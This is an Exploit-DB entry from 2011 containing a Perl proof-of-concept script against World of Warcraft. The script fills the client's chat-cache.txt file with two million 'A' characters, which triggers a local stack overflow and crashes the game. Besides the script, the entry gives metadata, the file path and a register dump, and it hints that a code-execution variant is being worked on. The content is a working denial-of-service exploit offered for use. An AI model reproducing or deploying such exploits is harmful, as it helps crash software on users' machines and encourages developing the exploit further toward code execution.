World Of Warcraft - 'chat-cache.txt' Local Stack Overflow Denial of Service

EDB-ID:

17781

CVE:



Type:

dos


Platform:

Windows

Date:

2011-09-05


#!/usr/bin/perl
#
#Exploit Title:
#World Of Warcraft Local Stack Overflow Dos Exploit (chat-cache.txt)
#
#Date: 04/09/2011
#
#Author: BSOD Digital (Fabien DROMAS)
#
#Other details:"Code Exec" Exploit in analysis.
#
#Tests:
#OS: Windows 7
#Versions: burning crusade,cataclism, Demo Version.
#
#Path:
#world of warcraft > WTF > account > file (numbers) > server_file > account_name_file > chat-cache.txt
#
#Error:
#This application has encountered a critical error:
#
#ERROR #132 (0x85100084) Fatal exception!
#
#Program:	D:\World of Warcraft\Wow.exe
#ProcessID:	92024
#Exception:	0xC00000FD (STACK_OVERFLOW) at 0023:0109DA97
#
#Registers:
#----------------------------------------
#    x86 Registers
#----------------------------------------
#
#EAX=000F2000  EBX=1BD920D8  ECX=000CC22C  EDX=00000000  ESI=0012366F
#EDI=00000000  EBP=001EFC5C  ESP=001EF8A4  EIP=0109DA97  FLG=00010206
#CS =0023      DS =002B      ES =002B      SS =002B      FS =0053      GS =002B


my $file = "chat-cache.txt";
my $dos_junk = "A" x 2000000;
open($File, ">$file");
print $File $dos_junk;
close($File);